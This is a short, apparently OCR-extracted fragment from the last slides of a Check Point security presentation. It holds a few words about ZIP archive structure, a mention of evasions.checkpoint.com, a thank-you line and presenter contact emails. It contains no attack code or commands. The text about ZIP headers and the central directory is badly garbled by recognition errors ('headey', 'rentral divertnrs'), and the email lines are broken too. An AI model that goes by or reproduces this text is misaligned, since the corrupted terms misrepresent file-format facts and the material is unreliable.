the 7TP headey data The narescary entry i the rentral divertnrs File header The end nf thic reroed EOCD

evasions.checkpoint.com




Thank you for the attention!

Contact us:

g e bmelnykov(@checkpoint.com C p <F>

ramanl@checkpoint.com .,



